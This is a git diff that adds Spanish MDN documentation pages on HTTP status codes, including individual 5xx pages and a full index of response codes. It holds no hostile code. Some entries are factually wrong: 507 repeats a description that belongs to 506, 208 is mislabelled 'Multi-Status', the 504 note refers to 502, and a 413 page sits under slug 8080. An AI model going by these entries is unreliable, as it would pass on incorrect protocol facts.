{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.status.418")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/status/500/index.html b/files/es/web/http/status/500/index.html new file mode 100644 index 0000000000..be3984a115 --- /dev/null +++ b/files/es/web/http/status/500/index.html @@ -0,0 +1,39 @@ +--- +title: 500 Error Interno del Servidor +slug: Web/HTTP/Status/500 +tags: + - Codigo de Estado + - Error del servidor + - HTTP +translation_of: Web/HTTP/Status/500 +--- +

El código de respuesta 500 Error Interno del Servidor del Protocolo de Transferencia de Hipertexto (HTTP) indica que el servidor encontró una condición inesperada que le impide completar la petición.

+ +

Este código es una respuesta genércia. Usualmente, esto indica que el servidor no puede encontrar un mejor código de respuesta del tipo 5xx. En ocasiones, los administradores del servidor registran respuestas como el código de estado 500 con más detalles sobre la petición en aras de evitar que el error vuelva a ocurrir en el futuro.

+ +

Estado

+ +
500 Error Interno del Servidor
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTitulo
{{RFC("7231", "500 Error Interno del Servidor" , "6.6.1")}}Protocolo de Transferencia de Hipertexto (HTTP/1.1): Semántica y Contenido
+ +

Compatibilidad del navegador

+ +

La información que se muestra a continuación se ha extraído del MDN de GitHub. (https://github.com/mdn/browser-compat-data).

+ + + +

{{Compat("http.status.500")}}

diff --git a/files/es/web/http/status/502/index.html b/files/es/web/http/status/502/index.html new file mode 100644 index 0000000000..ada07e38c5 --- /dev/null +++ b/files/es/web/http/status/502/index.html @@ -0,0 +1,48 @@ +--- +title: 502 Puerta de enlace no válida +slug: Web/HTTP/Status/502 +tags: + - Codigo de Estado + - Error de servidor + - HTTP +translation_of: Web/HTTP/Status/502 +--- +
{{HTTPSidebar}}
+ +

El código de respuesta de error del servidor de HTTP 502 Bad Gateway indica que el servidor, mientras actuaba como una puerta de enlace o proxy, recibió una respuesta no válida del servidor ascendente.

+ +
+

Nota: Una {{interwiki("wikipedia", "Puerta_de_enlace", "puerta de enlace")}} puede referirse a cosas distintas en redes y un error 502 no es algo que normalmente puedas arreglar, ya que requiere correcciones por parte del servidor o los proxies a través de los que intentas acceder.

+
+ +

Estado

+ +
502 Bad Gateway
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http.status.502")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/status/503/index.html b/files/es/web/http/status/503/index.html new file mode 100644 index 0000000000..45d302d241 --- /dev/null +++ b/files/es/web/http/status/503/index.html @@ -0,0 +1,54 @@ +--- +title: 503 Servicio No Disponible +slug: Web/HTTP/Status/503 +tags: + - Codigo de Estado + - Error de servidor + - HTTP + - error 503 +translation_of: Web/HTTP/Status/503 +--- +

{{HTTPSidebar}}

+ +

El envío de un código de error 503 Servicio No Disponible como respuesta por un servidor que use el Protocolo de Transferencia de Hipertexto (HTTP) indica que el servidor no está listo para manejar la solicitud.

+ +

Las causas más comunes son que el servidor esté apagado por mantenimiento o esté sobrecargado. Esta respuesta debería usarse para condiciones temporales y la cabecera HTTP {{HTTPHeader("Retry-After")}} debería, si es posible, contener el tiempo estimado para la recuperación del servicio.

+ +
+

Nota: debería enviarse con esta respuesta una página informativa explicando el problema.

+
+ +

Debe tenerse cuidado con las cabeceras relacionadas con la caché, ya que un estado 503 suele ser algo temporal, y, por lo tanto, no se deberían almacenar las respuestas en caché.

+ +

Estado

+ +
503 Servicio No Disponible
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semántica y Contenido
+ +

Compatibilidad entre Navegadores

+ +

La información mostrada abajo ha sido obtenida desde el GitHub de MDN (https://github.com/mdn/browser-compat-data).

+ + + +

{{Compat("http.status.503")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/status/504/index.html b/files/es/web/http/status/504/index.html new file mode 100644 index 0000000000..e5013fc428 --- /dev/null +++ b/files/es/web/http/status/504/index.html @@ -0,0 +1,47 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +translation_of: Web/HTTP/Status/504 +--- +
 
+ +
El código de respuesta de error del servidor de HTTP  504 Gateway Timeout indica que el servidor, mientras actuaba como una puerta de enlace o proxy, no pudo obtener una respuesta a tiempo.
+ +
 
+ +
+

Nota: Una {{interwiki("wikipedia", "Puerta_de_enlace", "puerta de enlace")}} puede referirse a cosas distintas en redes y un error 502 no es algo que normalmente puedas arreglar, ya que requiere correcciones por parte del servidor o los proxies a través de los que intentas acceder.

+
+ +

Estado

+ +
504 Gateway Timeout
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad con navegadores

+ +

La información que se muestra a continuación fue extraída de la de cuenta de Github de MDN (https://github.com/mdn/browser-compat-data).

+ + + +

{{Compat("http.status.504")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/status/505/index.html b/files/es/web/http/status/505/index.html new file mode 100644 index 0000000000..8a814d19c2 --- /dev/null +++ b/files/es/web/http/status/505/index.html @@ -0,0 +1,33 @@ +--- +title: 505 HTTP Version Not Supported +slug: Web/HTTP/Status/505 +translation_of: Web/HTTP/Status/505 +--- +
{{HTTPSidebar}}
+ +

The HyperText Transfer Protocol (HTTP) 505 HTTP Version Not Supported response status code indicates that the HTTP version used in the request is not supported by the server.

+ +

Status

+ +
505 HTTP Version Not Supported
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

See also

+ + diff --git a/files/es/web/http/status/8080/index.html b/files/es/web/http/status/8080/index.html new file mode 100644 index 0000000000..10ad4ac7b2 --- /dev/null +++ b/files/es/web/http/status/8080/index.html @@ -0,0 +1,34 @@ +--- +title: 413 Payload Too Large +slug: Web/HTTP/Status/8080 +translation_of: Web/HTTP/Status/413 +--- +
{{HTTPSidebar}}
+ +

The HTTP 413 Payload Too Large response status code indicates that the request entity is larger than limits defined by server; the server might close the connection or return a {{HTTPHeader("Retry-After")}} header field.

+ +

Status

+ +
413 Payload Too Large
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

See also

+ + diff --git a/files/es/web/http/status/index.html b/files/es/web/http/status/index.html new file mode 100644 index 0000000000..1db976d0af --- /dev/null +++ b/files/es/web/http/status/index.html @@ -0,0 +1,192 @@ +--- +title: Códigos de estado de respuesta HTTP +slug: Web/HTTP/Status +tags: + - Códigos de estado + - HTTP + - NeedsTranslation + - TopicStub +translation_of: Web/HTTP/Status +--- +
{{HTTPSidebar}}
+ +

Los códigos de estado de respuesta HTTP indican si se ha completado satisfactoriamente una solicitud HTTP específica. Las respuestas se agrupan en cinco clases:

+ +
    +
  1. Respuestas informativas (100–199),
    2. +
  2. Respuestas satisfactorias (200–299),
    3. +
  3. Redirecciones (300–399),
    4. +
  4. Errores de los clientes (400–499),
    5. +
  5. y errores de los servidores (500–599).
    6. +
+ +

Los códigos de estado se definen en la sección 10 de RFC 2616. Puedes obtener las especificaciones actualizadas en RFC 7231.

+ +

Respuestas informativas

+ +
+
{{HTTPStatus(100, "100 Continue")}}
+
Esta respuesta provisional indica que todo hasta ahora está bien y que el cliente debe continuar con la solicitud o ignorarla si ya está terminada.
+
{{HTTPStatus(101, "101 Switching Protocol")}}
+
Este código se envía en respuesta a un encabezado de solicitud {{HTTPHeader("Upgrade")}} por el cliente e indica que el servidor acepta el cambio de protocolo propuesto por el agente de usuario.
+
{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})
+
Este código indica que el servidor ha recibido la solicitud y aún se encuentra procesandola, por lo que no hay respuesta disponible.
+
{{HTTPStatus(103, "103 Early Hints")}}
+
Este código de estado está pensado principalmente para ser usado con el encabezado {{HTTPHeader("Link")}}, permitiendo que el agente de usuario empiece a pre-cargar recursos mientras el servidor prepara una respuesta.
+
+ +

Respuestas satisfactorias

+ + + +
+
{{HTTPStatus(200, "200 OK")}}
+
La solicitud ha tenido éxito. El significado de un éxito varía dependiendo del método HTTP:
+
{{HTTPStatus(201, "201 Created")}}
+
La solicitud ha tenido éxito y se ha creado un nuevo recurso como resultado de ello. Ésta es típicamente la respuesta enviada después de una petición PUT.
+
{{HTTPStatus(202, "202 Accepted")}}
+
La solicitud se ha recibido, pero aún no se ha actuado. Es una petición "sin compromiso", lo que significa que no hay manera en HTTP que permite enviar una respuesta asíncrona que indique el resultado del procesamiento de la solicitud. Está pensado para los casos en que otro proceso o servidor maneja la solicitud, o para el procesamiento por lotes.
+
{{HTTPStatus(203, "203 Non-Authoritative Information")}}
+
La petición se ha completado con éxito, pero su contenido no se ha obtenido de la fuente originalmente solicitada, sino que se recoge de una copia local o de un tercero. Excepto esta condición, se debe preferir una respuesta de 200 OK en lugar de esta respuesta.
+
{{HTTPStatus(204, "204 No Content")}}
+
La petición se ha completado con éxito pero su respuesta no tiene ningún contenido, aunque los encabezados pueden ser útiles. El agente de usuario puede actualizar sus encabezados en caché para este recurso con los nuevos valores.
+
{{HTTPStatus(205, "205 Reset Content")}}
+
La petición se ha completado con éxito, pero su respuesta no tiene contenidos y además, el agente de usuario tiene que inicializar la página desde la que se realizó la petición, este código es útil por ejemplo para páginas con formularios cuyo contenido debe borrarse después de que el usuario lo envíe.
+
{{HTTPStatus(206, "206 Partial Content")}}
+
La petición servirá parcialmente el contenido solicitado. Esta característica es utilizada por herramientas de descarga como wget para continuar la transferencia de descargas anteriormente interrumpidas, o para dividir una descarga y procesar las partes simultáneamente.
+
{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})
+
Una respuesta Multi-Estado transmite información sobre varios recursos en situaciones en las que varios códigos de estado podrían ser apropiados. El cuerpo de la petición es un mensaje XML.
+
{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})
+
El listado de elementos DAV ya se notificó previamente, por lo que no se van a volver a listar.
+
{{HTTPStatus(226, "226 IM Used")}} (HTTP Delta encoding)
+
El servidor ha cumplido una petición GET para el recurso y la respuesta es una representación del resultado de una o más manipulaciones de instancia aplicadas a la instancia actual.
+
+ +

Redirecciones

+ +
+
{{HTTPStatus(300, "300 Multiple Choice")}}
+
Esta solicitud tiene más de una posible respuesta. User-Agent o el usuario debe escoger uno de ellos. No hay forma estandarizada de seleccionar una de las respuestas.
+
{{HTTPStatus(301, "301 Moved Permanently")}}
+
Este código de respuesta significa que la URI  del recurso solicitado ha sido cambiado. Probablemente una nueva URI sea devuelta en la respuesta.
+
{{HTTPStatus(302, "302 Found")}}
+
Este código de respuesta significa que el recurso de la URI solicitada ha sido cambiado temporalmente. Nuevos cambios en la URI serán agregados en el futuro. Por lo tanto, la misma URI debe ser usada por el cliente en futuras solicitudes.
+
+
{{HTTPStatus(303, "303 See Other")}}
+
El servidor envía esta respuesta para dirigir al cliente a un nuevo recurso solicitado a otra dirección usando una petición GET.
+
{{HTTPStatus(304, "304 Not Modified")}}
+
Esta es usada para propósitos de "caché". Le indica al cliente que la respuesta no ha sido modificada. Entonces, el cliente puede continuar usando la misma versión almacenada en su caché.
+
305 Use Proxy {{deprecated_inline}}
+
Fue definida en una versión previa de la especificación del protocolo HTTP para indicar que una respuesta solicitada debe ser accedida desde un proxy. Ha quedado obsoleta debido a preocupaciones de seguridad correspondientes a la configuración de un proxy.
+
306 unused
+
+
Este código de respuesta ya no es usado más. Actualmente se encuentra reservado. Fue usado en previas versiones de la especificación HTTP1.1.
+
{{HTTPStatus(307, "307 Temporary Redirect")}}
+
El servidor envía esta respuesta para dirigir al cliente a obtener el recurso solicitado a otra URI con el mismo método que se usó la petición anterior. Tiene la misma semántica que el código de respuesta HTTP 302 Found, con la excepción de que el agente usuario no debe cambiar el método HTTP usado: si un POST fue usado en la primera petición, otro POST debe ser usado en la segunda petición.
+
+ +
+
{{HTTPStatus(308, "308 Permanent Redirect")}}
+
Significa que el recurso ahora se encuentra permanentemente en otra URI, especificada por la respuesta de encabezado HTTP Location:. Tiene la misma semántica que el código de respuesta HTTP 301 Moved Permanently, con la excepción de que el agente usuario no debe cambiar el método HTTP usado: si un POST fue usado en la primera petición, otro POST debe ser usado en la segunda petición.
+
+ +

Errores de cliente

+ +
+
{{HTTPStatus(400, "400 Bad Request")}}
+
Esta respuesta significa que el servidor no pudo interpretar la solicitud dada una sintaxis inválida.
+
{{HTTPStatus(401, "401 Unauthorized")}}
+
Es necesario autenticar para obtener la respuesta solicitada. Esta es similar a 403, pero en este caso, la autenticación es posible.
+
402 Payment Required
+
Este código de respuesta está reservado para futuros usos. El objetivo inicial de crear este código fue para ser utilizado en sistemas digitales de pagos. Sin embargo, no está siendo usado actualmente.
+
{{HTTPStatus(403, "403 Forbidden")}}
+
El cliente no posee los permisos necesarios para cierto contenido, por lo que el servidor está rechazando otorgar una respuesta apropiada.
+
{{HTTPStatus(404, "404 Not Found")}}
+
El servidor no pudo encontrar el contenido solicitado. Este código de respuesta es uno de los más famosos dada su alta ocurrencia en la web.
+
{{HTTPStatus(405, "405 Method Not Allowed")}}
+
El método solicitado es conocido por el servidor pero ha sido deshabilitado y no puede ser utilizado. Los dos métodos obligatorios, GET y HEAD, nunca deben ser deshabilitados y no deberían retornar este código de error.
+
{{HTTPStatus(406, "406 Not Acceptable")}}
+
Esta respuesta es enviada cuando el servidor, después de aplicar una negociación de contenido servidor-impulsado, no encuentra ningún contenido seguido por la criteria dada por el usuario.
+
{{HTTPStatus(407, "407 Proxy Authentication Required")}}
+
Esto es similar al código 401, pero la autenticación debe estar hecha a partir de un proxy.
+
{{HTTPStatus(408, "408 Request Timeout")}}
+
Esta respuesta es enviada en una conexión inactiva en algunos servidores, incluso sin alguna petición previa por el cliente. Significa que el servidor quiere desconectar esta conexión sin usar. Esta respuesta es muy usada desde algunos navegadores, como Chrome, Firefox 27+, o IE9, usa mecanismos de pre-conexión HTTP para acelerar la navegación. También hay que tener en cuenta que algunos servidores simplemente desconecta la conexión sin enviar este mensaje.
+
{{HTTPStatus(409, "409 Conflict")}}
+
Esta respuesta puede ser enviada cuando una petición tiene conflicto con el estado actual del servidor.
+
{{HTTPStatus(410, "410 Gone")}}
+
Esta respuesta puede ser enviada cuando el contenido solicitado ha sido borrado del servidor.
+
{{HTTPStatus(411, "411 Length Required")}}
+
El servidor rechaza la petición porque el campo de encabezado Content-Length no esta definido y el servidor lo requiere.
+
{{HTTPStatus(412, "412 Precondition Failed")}}
+
El cliente ha indicado pre-condiciones en sus encabezados la cual el servidor no cumple.
+
{{HTTPStatus(413, "413 Payload Too Large")}}
+
La entidad de petición es más larga que los límites definidos por el servidor; el servidor puede cerrar la conexión o retornar un campo de encabezado Retry-After.
+
{{HTTPStatus(414, "414 URI Too Long")}}
+
La URI solicitada por el cliente es más larga de lo que el servidor está dispuesto a interpretar.
+
{{HTTPStatus(415, "415 Unsupported Media Type")}}
+
El formato multimedia de los datos solicitados no está soportado por el servidor, por lo cual el servidor rechaza la solicitud.
+
{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}
+
El rango especificado por el campo de encabezado Range en la solicitud no cumple; es posible que el rango está fuera del tamaño de los datos objetivo del URI.
+
{{HTTPStatus(417, "417 Expectation Failed")}}
+
Significa que la expectativa indicada por el campo de encabezado Expect solicitada no puede ser cumplida por el servidor.
+
{{HTTPStatus(418, "418 I'm a teapot")}}
+
El servidor se rehúsa a intentar hacer café con una tetera.
+
{{HTTPStatus(421, "421 Misdirected Request")}}
+
La petición fue dirigida a un servidor que no es capaz de producir una respuesta. Esto puede ser enviado por un servidor que no está configurado para producir respuestas por la combinación del esquema y la autoridad que están incluidos en la URI solicitada
+
{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})
+
La petición estaba bien formada pero no se pudo seguir debido a errores de semántica.
+
{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})
+
El recurso que está siendo accedido está bloqueado.
+
{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})
+
La petición falló debido a una falla de una petición previa.
+
{{HTTPStatus(426, "426 Upgrade Required")}}
+
El servidor se rehúsa a aplicar la solicitud usando el protocolo actual pero puede estar dispuesto a hacerlo después que el cliente se actualice a un protocolo diferente. El servidor envía un encabezado Upgrade en una respuesta para indicar los protocolos requeridos.
+
{{HTTPStatus(428, "428 Precondition Required")}}
+
El servidor origen requiere que la solicitud sea condicional. Tiene la intención de prevenir problemas de 'actualización perdida', donde un cliente OBTIENE un estado del recurso, lo modifica, y lo PONE devuelta al servidor, cuando mientras un tercero ha modificado el estado del servidor, llevando a un conflicto.
+
{{HTTPStatus(429, "429 Too Many Requests")}}
+
El usuario ha enviado demasiadas solicitudes en un periodo de tiempo dado.
+
{{HTTPStatus(431, "431 Request Header Fields Too Large")}}
+
El servidor no está dispuesto a procesar la solicitud porque los campos de encabezado son demasiado largos. La solicitud PUEDE volver a subirse después de reducir el tamaño de los campos de encabezado solicitados.
+
{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}
+
El usuario solicita un recurso ilegal, como alguna página web censurada por algún gobierno.
+
+ +

Errores de servidor

+ +
+
{{HTTPStatus(500, "500 Internal Server Error")}}
+
El servidor ha encontrado una situación que no sabe cómo manejarla.
+
{{HTTPStatus(501, "501 Not Implemented")}}
+
El método solicitado no está soportado por el servidor y no puede ser manejado. Los únicos métodos que los servidores requieren soporte (y por lo tanto no deben retornar este código) son GET y HEAD.
+
{{HTTPStatus(502, "502 Bad Gateway")}}
+
Esta respuesta de error significa que el servidor, mientras trabaja como una puerta de enlace para obtener una respuesta necesaria para manejar la petición, obtuvo una respuesta inválida.
+
{{HTTPStatus(503, "503 Service Unavailable")}}
+
El servidor no está listo para manejar la petición. Causas comunes puede ser que el servidor está caído por mantenimiento o está sobrecargado. Hay que tomar en cuenta que junto con esta respuesta, una página usuario-amigable explicando el problema debe ser enviada. Estas respuestas deben ser usadas para condiciones temporales y el encabezado HTTP Retry-After: debería, si es posible, contener el tiempo estimado antes de la recuperación del servicio. El webmaster debe también cuidar los encabezados relacionados al caché que son enviados junto a esta respuesta, ya que estas respuestas de condición temporal deben usualmente no estar en el caché.
+
{{HTTPStatus(504, "504 Gateway Timeout")}}
+
Esta respuesta de error es dada cuando el servidor está actuando como una puerta de enlace y no puede obtener una respuesta a tiempo.
+
{{HTTPStatus(505, "505 HTTP Version Not Supported")}}
+
La versión de HTTP usada en la petición no está soportada por el servidor.
+
{{HTTPStatus(506, "506 Variant Also Negotiates")}}
+
El servidor tiene un error de configuración interna: negociación de contenido transparente para la petición resulta en una referencia circular.
+
{{HTTPStatus(507, "507 Insufficient Storage")}}
+
El servidor tiene un error de configuración interna: la variable de recurso escogida está configurada para acoplar la negociación de contenido transparente misma, y no es por lo tanto un punto final adecuado para el proceso de negociación.
+
{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})
+
El servidor detectó un ciclo infinito mientras procesaba la solicitud.
+
{{HTTPStatus(510, "510 Not Extended")}}
+
Extensiones adicionales para la solicitud son requeridas para que el servidor las cumpla.
+
{{HTTPStatus(511, "511 Network Authentication Required")}}
+
El código de estado 511 indica que el cliente necesita autenticar para ganar acceso a la red.
+
+ +

Ver también

+ + -- cgit v1.2.3-54-g00ecf